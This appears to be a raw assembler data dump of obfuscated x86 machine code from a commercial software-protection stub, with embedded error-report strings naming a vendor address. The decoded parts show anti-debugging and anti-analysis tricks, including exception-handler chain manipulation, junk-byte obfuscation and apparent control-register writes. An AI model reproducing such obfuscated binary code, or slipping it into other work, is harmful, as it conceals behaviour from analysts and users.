dd 840F0006h, 4Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 48C35343h, 63C18147h, 8B2019DFh, 7D9D89D3h
dd 8D060311h, 5F38C85h, 0EE906h, 8E750000h, 460114EEh
dd 0BC62C0A6h, 1478D424h, 31E9h, 2D958900h, 8D060325h
dd 5F36285h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 0B7177C4Bh, 25D99529h, 8B500603h
dd 310F18Dh, 2FB5FF06h, 6A0605F3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0EA2C350h
dd 13164EFh, 0FDBA6679h, 2795FFB3h, 6A0605F3h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0C73AC357h, 768E0D11h, 0F3338589h, 85C70605h, 60330CDh
dd 0
dd 89D280FCh, 0F333BD83h, 0F000605h, 1C884h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0A86EF82Ch, 0DD006133h, 506013B7h, 2939B58Bh, 895E0603h
dd 321A19Dh, 858D6106h, 605F611h, 0F75C180h, 68Eh, 14E78100h
dd 500CBBE1h, 0CF98529h, 16A0603h, 21D8531h, 0E9810603h
dd 9CE9B9Ch, 0F333B5FFh, 6A0605h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 50145C3h, 6D439BCBh
dd 0E9143D7Dh, 0Eh, 0E642772Eh, 9CAA3D23h, 0DADCF3D8h
dd 95FF33D2h, 605F32Bh, 9558D2Bh, 0B5FF0603h, 605F333h
dd 11E0B966h, 0FF12CE80h, 322ED95h, 6870F06h, 81000000h
dd 5C1348CAh, 1FF6838h, 958B000Fh, 603288Dh, 2831BD83h
dd 0F000603h, 3D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0E9C8E845h, 188692A4h
dd 0E5958B63h, 8D06031Ah, 5F38C85h, 98D28006h, 16E9h, 0B009B900h
dd 858D0826h, 605F362h, 0F8B70F60h, 2AD8589h, 50610603h
dd 0D9C98166h, 2FB5FF73h, 8B0605F3h, 99B531CFh, 0FF06031Fh
dd 5F32795h, 14E806h, 6FF90000h, 88826828h, 6E2EEE88h
dd 928774C6h, 1AB67F7h, 66608833h, 0C7F7C381h, 2E718523h
dd 5F610603h, 0F3338589h, 0FFFC0605h, 5F333B5h, 0DE906h
dd 0E6870000h, 0D7450D1Eh, 9649183Ch, 0FF1CAEBFh, 5F32395h
dd 0F9B70F06h, 0B5FF1EB1h, 605F333h, 11E8h, 7FDC0600h
dd 0B089833Fh, 18B6269h, 66FADC13h, 0BD09B0E5h, 6032BFDh
dd 0ED95FF5Fh, 89060322h, 30B85B5h, 0F63AE906h, 6AFFFFh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 89F441C3h, 326DD85h, 7CB5FF06h, 0E90605FEh, 7, 756E6F8Fh
dd 0FF26501Dh, 3269195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 2840FE1h, 53000000h, 71858B59h
dd 0BA060328h, 52C1474h, 14E9h, 0BE18FB00h, 3AAA6B09h
dd 39A0CF9Eh, 1085AD40h, 4FDA1357h, 563E97Eh, 8D8B0000h
dd 6031961h, 0F631B58Dh, 0BF660605h, 858D1317h, 605A3C3h
dd 0CE9h, 0E0583C00h, 0F2B5F2D0h, 6B2147A8h, 29D0FFC2h
dd 31E399Dh, 8B006A06h, 3177D95h, 0EDBD0B06h, 0FF060326h
dd 320F195h, 8BFE8B06h, 93D181F3h, 8D37DC39h, 5A3C385h
dd 45BD8B06h, 0FF06032Fh, 6AFB8BD0h, 0F9BD8900h, 0FF06030Bh
dd 320F195h, 8B68B606h, 8BC08BD1h, 39BD83D3h, 60310h, 0BD830975h
dd 603111Dh, 50197400h, 0B8C08B53h, 7D9h, 17758589h, 9D8D0603h
dd 605B091h, 585BD3FFh, 111DBD83h, 74000603h, 0B8535017h
dd 7D9h, 17758589h, 9D8D0603h, 605AD80h, 585BD3FFh, 6ACE8Ah
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0E0D863C3h, 31BD2960h, 0F8060330h, 8BF38A61h, 0D58D01C0h
dd 50060331h, 31A5BD8Bh, 7E80603h, 0F9000000h, 0CCBD3324h
dd 13E885E6h, 4B000000h, 3DB36E85h, 6F605BAh, 9622F376h
dd 0BA55D1E2h, 0B5893FEDh, 6031385h, 0D88B5F5Ah, 0BFD8529h
dd 8D530603h, 30B899Dh, 89038B06h, 50438B03h, 8D504389h
dd 5FE159Dh, 89038B06h, 0F605B03h, 8960D9B7h, 32AD58Dh
dd 2D858906h, 61060304h, 0F9958B61h, 6A060329h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0C28166FBh, 1877FE67h, 1FA5BD8Bh, 858D0603h, 605FE15h
dd 80C8CCBAh, 8B66504Bh, 9606AF8h, 330858Dh, 89858D06h
dd 6A06030Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 0F53C355h, 89h, 198D8900h, 50060306h
dd 33DA8160h, 9668DB5h, 32C11B5h, 6A6106h, 8E9h, 0CEAB7E00h
dd 620A9C9Ch, 66006A6Eh, 6816ACBFh, 1800h, 0F53F98Bh, 689h
dd 358D0900h, 0E9060309h, 0Ah, 35DDDED3h, 0A28D7261h, 95FF1B6Fh
dd 60303E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 0F7C35040h, 68B0F57h, 31000000h, 331A5B5h, 95FF5A06h
dd 6030AE1h, 0FF5FF851h, 5FE7CB5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0FD5BD465h
dd 0C621681Dh, 8166D6F5h, 0E9FBBCDAh, 0Eh, 0E25B53FFh
dd 0D0883A64h, 0A3D108EAh, 95FF6884h, 6032691h, 7A20EA81h
dd 95036390h, 6032A4Dh, 0B89858Dh, 6A0603h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 1CBFD4C3h
dd 0F7CA0ACh, 408BCFB7h, 0CE918h, 0A40D0000h, 74AD8936h
dd 5D6A0C24h, 85C7B298h, 6031071h, 0
dd 3FF3BA66h, 2831BD83h, 0F000603h, 2284h, 99952B00h, 3D060305h
dd 8Ch, 15A830Fh, 81660000h, 0E90F8EDAh, 2Eh, 2D1FBF52h
dd 3D5F67BFh, 96h, 13E830Fh, 958B0000h, 6030211h, 11E9h
dd 1F9CFF00h, 0A7D8B012h, 0F6B21B0Ah, 0BC3BA195h, 858DFECFh
dd 5AF59Fh, 9FDB531h, 0D0FF0603h, 0F2858DF9h, 0F005AEFh
dd 584h, 0C2F7B900h, 0D0FF2ECAh, 2ED19529h, 0C08B0603h
dd 7E9h, 2295D100h, 911B7F18h, 1039BD83h, 75000603h, 1DBD8309h
dd 60311h, 53501974h, 0C6B8C08Bh, 8900000Bh, 3177585h
dd 919D8D06h, 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h
dd 0C6B85350h, 8900000Bh, 3177585h, 809D8D06h, 0FF0605ADh
dd 66585BD3h, 1A51C281h, 0D8EABF66h, 8D01C08Bh, 60301C9h
dd 1A75B529h, 0F8830603h, 4D850FFFh, 0F000000h, 85C7F9BFh
dd 6030F75h, 0
dd 12E8h, 0CC3E5200h, 0BABC1859h, 3F8488EEh, 0FD39173Eh
dd 890D6223h, 30B25B5h, 8D0F5906h, 6, 32159523h, 11E90603h
dd 31000001h, 302899Dh, 2FE906h, 8D8B0000h, 603027Dh, 0F01F883h
dd 2085h, 8E900h, 0DA00000h, 0CD3F69A7h, 12E9DDA6h, 8B000001h
dd 312A18Dh, 81666006h, 0F818E7CFh, 0F14EE961h, 0B529FFFFh
dd 6032A81h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 220712C3h, 0C88BCA8Bh, 1039BD83h
dd 75000603h, 1DBD8309h, 60311h, 53501974h, 0DDB8C08Bh
dd 89000007h, 3177585h, 919D8D06h, 0FF0605B0h, 83585BD3h
dd 3111DBDh, 17740006h, 0DDB85350h, 89000007h, 3177585h
dd 809D8D06h, 0FF0605ADh, 0E9585BD3h, 6, 92A92901h, 6A8F99h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0B0B313C3h, 8E8h, 0B3176800h, 96F40694h, 870F7Ch, 5A000000h
dd 0B860C08Bh, 2C3A355Ch, 12B5BD29h, 8B610603h, 31AA18Dh
dd 204E906h, 958B0000h, 6031265h, 0FC19858Dh, 8C0F0605h
dd 0Bh, 6E9h, 809CF200h, 89526BD1h, 5FE1185h, 0F1816606h
dd 3AE9FDBFh, 89000000h, 31211B5h, 21858D06h, 0BA0605FAh
dd 7BC07A7Ah, 89D78B40h, 5FE1185h, 14E806h, 4AAD0000h
dd 0CE00DC01h, 79AF682Bh, 0CA00F8BEh, 25FA454h, 0D28123D7h
dd 59B07F71h, 8D346A5Ah, 31DA585h, 0B5FF5006h, 605FE11h
dd 95FF006Ah, 6031AE1h, 0F07F883h, 16284h, 0DB8C6600h
dd 0F04C3F6h, 0FC85h, 3985C600h, 5606032Fh, 0A8B85268h
dd 59B5FF9Ch, 8D060313h, 338A785h, 6AD0FF06h, 10006804h
dd 646A0000h, 0D0FF006Ah, 0FE848589h, 85C60605h, 6032F39h
dd 0AC9B6847h, 0B5FFEC18h, 6031359h, 38A7858Dh, 0D0FF0603h
dd 0F08BD0FFh, 2F3985C6h, 684F0603h, 0C62F2661h, 175B5FFh
dd 858D0603h, 60338A7h, 9D8DD0FFh, 605FE80h, 56286A53h
dd 0C085D0FFh, 85C60075h, 6032F39h, 64986841h, 0B5FFDB87h
dd 6030175h, 38A7858Dh, 0D0FF0603h, 0FE9D8589h, 85C60605h
dd 6032F39h, 0E7A4684Ch, 0B5FF80A4h, 6030175h, 38A7858Dh
dd 0D0FF0603h, 0FE849D8Bh, 5B8D0605h, 9D8D5304h, 605FE89h
dd 0FF006A53h, 849D8BD0h, 0C70605FEh, 103h, 0C43C700h
dd 2, 64985C7h, 603h, 6A0000h, 6A006Ah, 0FE849D8Bh, 6A530605h
dd 80B5FF00h, 0FF0605FEh, 5FE9D95h, 3985C606h, 4506032Fh
dd 0A5F79768h, 11B5FF92h, 8D06032Dh, 338A785h, 6AD0FF06h
dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 849D8B32h, 0C70605FEh
dd 0C43h, 6A0000h, 9D8B006Ah, 605FE84h, 0FF006A53h, 5FE80B5h
dd 9D95FF06h, 0FF0605FEh, 5FE80B5h, 0E195FF06h, 6A06030Ah
dd 0F195FF00h, 29060320h, 30AD195h, 8E906h, 0CBF90000h
dd 0E884235Fh, 858D83D1h, 6063122h, 38E0Fh, 0BF0F0000h
dd 0B70F50D6h, 35FF64D7h, 0
dd 31850956h, 59060302h, 258964h, 60000000h, 0BE8h, 0F43B9900h
dd 1ADC4B5h, 9E2F4EDDh, 9E9B529h, 8B5A0603h, 320499Dh
dd 0BD836106h, 6032CDDh, 70840F00h, 66000000h, 0BAA0DF81h
dd 1E91BD83h, 0F010603h, 5E85h, 6810F00h, 8B000000h, 31A9595h
dd 9DBD8006h, 60602h, 45850Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0DCCDEDC3h
dd 0E9C88B66h, 189h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 0C9C35343h, 33DD127Ah, 0C58589DBh, 3306030Fh
dd 7E8C0h, 1C20000h, 0F2230DE4h, 39BD8916h, 5A060313h
dd 73F0F40h, 58F640Bh, 0
dd 8904C483h, 31B4595h, 49958B06h, 83060313h, 840FFFFBh
dd 0Bh, 12C99533h, 14E90603h, 0E9000001h, 72h, 30D1B529h
dd 4C8B0603h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h
dd 5C8BC3C0h, 0E8550C24h, 0
dd 44ED815Dh, 8B060631h, 0B883h, 35858D00h, 89060632h
dd 0B883h, 0C0335D00h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 0FDFC786Ch, 0BD8B4D88h
dd 60310D9h, 24818D29h, 858D0603h, 606313Ah, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 4EC35646h, 950D2B6h
dd 32C65BDh, 35FF6406h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A3C35040h
dd 0D25F34E7h, 9E92A06h, 65000000h, 6237FDE5h, 3650CD19h
dd 258964h, 0F000000h, 680h, 0F98D8B00h, 0B9060302h, 0Ah
dd 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h
dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h, 31C8585h
dd 106h, 58F6400h, 0
dd 0E904C483h, 13h, 7D2D72C1h, 21538D7Dh, 0E4B4753Fh, 9BB32C96h
dd 8BBAD2EBh, 31FD9BDh, 8BC08B06h, 30BE995h, 39BD8306h
dd 60310h, 0BD830975h, 603111Dh, 50197400h, 0B8C08B53h
dd 43Dh, 23918589h, 9D8D0603h, 605B0F8h, 585BD3FFh, 111DBD83h
dd 74000603h, 0B8535017h, 43Dh, 23918589h, 9D8D0603h, 605AD99h
dd 585BD3FFh, 14658501h, 6A0603h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0C13A4FC3h, 8E9F266h
dd 0E3000000h, 0FA393AD7h, 8BD41DD1h, 3127595h, 0E9C08B06h
dd 13Ah, 4, 35382E31h, 35h, 6 dup(0)
dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
dd 603326Dh, 2D840F00h, 8D000001h, 5ABB085h, 858D5006h
dd 605AB1Ah, 16850h, 95FF8000h, 605ABC0h, 32F0858Dh, 8D500606h
dd 632FA85h, 6A5006h, 858D006Ah, 605AB2Eh, 0B0B5FF50h
dd 0FF0605ABh, 31A4D95h, 0F0858D06h, 50060632h, 32FE858Dh
dd 6A500606h, 8D006A00h, 5AB4085h, 0B5FF5006h, 605ABB0h
dd 1A4D95FFh, 858D0603h, 60632F0h, 0A858D50h, 50060633h
dd 6A006Ah, 0AB8D858Dh, 0FF500605h, 5ABB0B5h, 4D95FF06h
dd 8D06031Ah, 632F085h, 858D5006h, 6063312h, 6A006A50h
dd 0AB858D00h, 500605ABh, 0ABB0B5FFh, 95FF0605h, 6031A4Dh
dd 32F0858Dh, 8D500606h, 6330E85h, 6A5006h, 858D006Ah
dd 605AB94h, 0B0B5FF50h, 0FF0605ABh, 31A4D95h, 0F0858D06h
dd 50060632h, 3302858Dh, 6A500606h, 8D006A00h, 5AB9C85h
dd 0B5FF5006h, 605ABB0h, 1A4D95FFh, 858D0603h, 60632F0h
dd 6858D50h, 50060633h, 6A006Ah, 0ABA3858Dh, 0FF500605h
dd 5ABB0B5h, 4D95FF06h, 0FF06031Ah, 5ABB0B5h, 2D95FF06h
dd 0E9060320h, 0A2h, 445BD83h, 0F000603h, 9584h, 91BD8300h
dd 6031Eh, 11850Fh, 958B0000h, 6032F05h, 1CF8C281h, 0FE90000h
dd 8D000000h, 30B8995h, 34528B06h, 0C340C281h, 95893BD4h
dd 6031175h, 1175BD83h, 0F000603h, 5584h, 759D8B00h, 83060311h
dd 38B4CC3h, 32FA8589h, 9D8B0606h, 6031175h, 8B50C383h
dd 0FE858903h, 8B060632h, 311759Dh, 54C38306h, 8589038Bh
dd 606330Ah, 11759D8Bh, 0C3830603h, 89038B58h, 6330E85h
dd 759D8B06h, 83060311h, 38B5CC3h, 33028589h, 0BD830606h
dd 603326Dh, 0D850F00h, 83000000h, 30445BDh, 840F0006h
dd 68h, 3312B5FFh, 0B5FF0606h, 6063306h, 3302B5FFh, 0B5FF0606h
dd 606330Eh, 330AB5FFh, 0B5FF0606h, 60632FEh, 32FAB5FFh
dd 858D0606h, 60632F4h, 2C858D50h, 50060633h, 0D05858Dh
dd 0FF500603h, 3128595h, 24C48306h, 858D406Ah, 6063316h
dd 5858D50h, 5006030Dh, 95FF006Ah, 6031AE1h, 95FF016Ah
dd 60320F1h, 0BE8C18Bh, 0AD000000h, 0F97C550Bh, 132E4DEEh
dd 0DF8B4EA3h, 0F3E3805Eh, 6CF4C681h, 0B2600000h, 128E0FA1h
dd 0E9000000h, 0Dh, 6EFA14E9h, 4A63561Ah, 0DC3DF5E7h, 0DBA617Ch
dd 6600001Bh, 8B3F55BFh, 0C081FC06h, 61FC13CFh, 8D0Fh
dd 0C0810000h, 139EEBADh, 0C081FB8Bh, 37120A2Ah, 5820Fh
dd 50BB0000h, 5011E082h, 0CE9h, 0F5D2FC00h, 0DCD85F3Ah
dd 6441DB89h, 0B3068F93h, 0F2EE818Fh, 81739C4Eh, 9C4EEEC6h
dd 835F5173h, 850F01EAh, 18h, 2CE996B1h, 0A000000h, 46141552h
dd 0EFD4A993h, 5D45D30Ah, 0AAE50099h, 9E8h, 22DF6600h
dd 0ED18204Ah, 0D88BC465h, 0FF7DE959h, 3824FFFFh, 6083D46Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 17C35545h
dd 0D48A37EFh, 8166C08Bh, 83B652C2h, 31039BDh, 9750006h
dd 111DBD83h, 74000603h, 8B535019h, 40EB8C0h, 85890000h
dd 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh
dd 50177400h, 40EB853h, 85890000h, 6031775h, 0AD809D8Dh
dd 0D3FF0605h, 0FE8585Bh, 52000000h, 632CE645h, 2CAD3158h
dd 4D64CB70h, 0B4B999BCh, 5911E333h, 0C08BD68Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 53C35646h, 95878DE9h
dd 3FFB1438h, 7800F2Fh, 0F000000h, 188h, 0BF0FF800h, 0B8A0FF6h
dd 0E9000000h, 6, 47A61725h, 0BD838F5Fh, 6032CDDh, 12840F00h
dd 0F000000h, 58Eh, 8E48BA00h, 4CE909D1h, 0B5000002h, 0E8DF8C2Ch
dd 0Bh, 0DE17EDC2h, 6CDD3F79h, 8B4EB1A8h, 0F7665ED0h, 0F0004C7h
dd 22A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 5D5DA15Fh, 0AFE7D4E1h, 8B66B56Eh
dd 7E9CBh, 0B2960000h, 3959DFA3h, 0BF1Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 9932B2C3h, 6616B9EFh, 0F69F9BAh, 9D8DF1BFh, 6063A35h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 9BC35040h
dd 6693D08Bh, 50203BBEh, 50006A93h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0CEFC93ABh, 6ECD776Fh
dd 0EFBE6657h, 0FF645E7Ah, 35h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 104C3994h
dd 510B08F4h, 7E9h, 249A9700h, 7CD00ADAh, 2589645Ah, 0
dd 8BF1B70Fh, 0AE9C4h, 0BF620000h, 0FEBCBC9Ah, 6C71713Ch
dd 0EB01CDh, 6AF7BF0Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 8BA4C353h, 58F64F0h
dd 0
dd 6A04C483h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 0FDEC356h, 48Bh, 5E575600h, 0FC00B59h
dd 0C684h, 0B3BA6600h, 0BF0F6177h, 87BD8DC9h, 0F060372h
dd 1B8F6BFh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 259CC352h, 23684FF4h
dd 8B1F0B5Fh, 8166CF8Ah, 0FF4648F2h, 56006AE7h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0EB7F286Ch
dd 0D2152CBEh, 5C8B5713h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh
dd 0B0h, 0B88383h, 5F020000h, 0FC3C033h, 8Eh, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 36E4548Ah, 0E1E0B966h, 0EE9h, 4E98B900h, 62517BFCh
dd 1E37D923h, 618A4AACh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 7EC35747h, 0D68B3322h, 6AC08Bh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 54B2A1C3h, 0D82538ACh, 0BD839882h, 6031039h, 83097500h
dd 3111DBDh, 19740006h, 0C08B5350h, 40EB8h, 91858900h
dd 8D060323h, 5B0F89Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501774h
dd 40EB8h, 91858900h, 8D060323h, 5AD999Dh, 5BD3FF06h, 51006A58h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0AB8C49FEh, 474EA5F4h, 11E9B577h, 6B000000h, 4B2B1Fh
dd 6B51A2A7h, 0FF763AD2h, 0EFE606E6h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0F3C35343h, 689B1260h, 6AC08Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0F918CCC3h, 0F9F5E252h, 13E9h, 889AF300h, 0CC9CDEB0h
dd 0EC6F7DD7h, 7D97FBECh, 0E25FC4AFh, 18EBC28Bh, 9B46F317h
dd 5 dup(0)
dd 20BE9h, 5C8B6000h, 0E82424h, 5D000000h, 3BE7ED81h, 0C2610606h
dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
dd 0F6E90008h, 0FFFFFFh, 0
dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 63C1FB5h, 0E68106h
dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 63C23B5h
dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h
dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
dd 6031175h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h
dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 31E6D95h, 10F5006h
dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h
dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 6031175h
dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 1175858Bh, 18860603h
dd 850FDB0Ah, 0FFFFFFF6h, 2B0585C7h, 603h, 448B0000h, 988B0824h
dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h
dd 32B0585h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
dd 29840F04h, 0C7000000h, 63BC485h, 106h, 10F5000h, 8FFE244Ch
dd 63BC885h, 0C0858D06h, 8D06063Bh, 63BC8BDh, 0E9388906h
dd 23h, 0B89858Dh, 408B0603h, 0F3170538h, 85899B46h, 6063BC0h
dd 0B89858Dh, 408B0603h, 0C485893Ch, 8D06063Bh, 63BDD85h
dd 6D858906h, 0E906031Eh, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah
dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
dd 7, 6280630h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah, 0AC000000h
dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 63E5085h, 91858906h
dd 8D060303h, 63E7885h, 45858906h, 8D060331h, 63EA085h
dd 49858906h, 0EB060322h, 8, 0
dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 91858B24h
dd 8D06031Eh, 68D0D85h, 8B088B06h, 100088h, 660A8B00h
dd 89FC4A8Bh, 63F018Dh, 31BD8306h, 60328h, 0F840Fh, 6A600000h
dd 0B995FF00h, 6106031Fh, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
dd 2728966h, 5A04CD52h, 3EFD8589h, 0B58B0606h, 6063F01h
dd 6610CEC1h, 8B027289h, 63F01B5h, 72896606h, 858B61FCh
dd 6063EFDh, 0C9958DC3h, 89060317h, 3117595h, 0FD958906h
dd 0FF060301h, 301FD85h, 3985C606h, 5306032Fh, 0B148D868h
dd 59B5FFFCh, 8D060313h, 338A785h, 89D0FF06h, 31FB985h
dd 0F7858D06h, 8906063Bh, 30F8585h, 51E906h, 8B600000h
dd 3242474h, 7C8B3C76h, 0D68B2824h, 0F8C281h, 8B660000h
dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch
dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh, 1C247C89h
dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh
dd 9FD3Eh, 5EE900EBh, 0E9000006h, 652h, 640FD68h, 3D2BE906h
dd 5568FFFDh, 0E9060642h, 0FFFD3D21h, 6434768h, 3D17E906h
dd 68FFFDh, 0E9060644h, 0FFFD3D0Dh, 6450C68h, 3D03E906h
dd 0A948FFFDh, 20FD4004h, 8E60F59Bh, 0FA926765h, 6D0297F5h
dd 73A20044h, 3BA95227h, 0AF3DC256h, 0DDB338DAh, 4C00A548h
dd 3CD57535h, 807108B0h, 0F26F73F0h, 47770EF0h, 770EF0CEh
dd 168F9B55h, 0D770EF1h, 0EF0A43Dh, 524D1877h, 85012987h
dd 94770EF0h, 0F19B20F1h, 93301894h, 0E8770EF0h, 770EF06Ah
dd 39FEECAFh, 60283B07h, 1D27A484h, 7803F70Eh, 72EC3C7Ah
dd 0C8F5113Eh, 0F280651Dh, 64369BC9h, 0F7A0D5Fh, 771D991h
dd 75EF0E0Ch, 0FDA4CFE6h, 513966D3h, 4D1BCh, 0A344D700h
dd 36BB582Dh, 8029CF52h, 109579CCh, 0E308E97Ch, 82D807EDh
dd 3D80C4EDh, 0A134585Dh, 0D7BA2ED3h, 8829BF40h, 0B0A13A0Eh
dd 6D1F7108h, 0A2432A8Eh, 0A38E6104h, 35F8CFA9h, 0F2917CB2h
dd 4C1C9821h, 0E6326A4h, 0B237D877h, 44945DAh, 0E2B67758h
dd 0E3E50EEFh, 3383D70Bh, 3A297DA1h, 0C0C17899h, 0EB4EF68h
dd 0F99E4D77h, 58D454F3h, 99976235h, 8D32DA33h, 507319ECh
dd 5B3287C5h, 0CA84325Ah, 0EE4E57Eh, 0A0745B77h, 5134B01Fh
dd 8B30C1BEh, 60C8823Ch, 770EE4E7h, 422A8655h, 770F53C1h
dd 0EF10E7A0h, 7ACEE8FDh, 770EE4E1h, 0AF3D885Fh, 7B7C1CF1h
dd 45AEB6FDh, 3BF5996Dh, 0E820C9AAh, 770EF06Fh, 0F1059EAAh
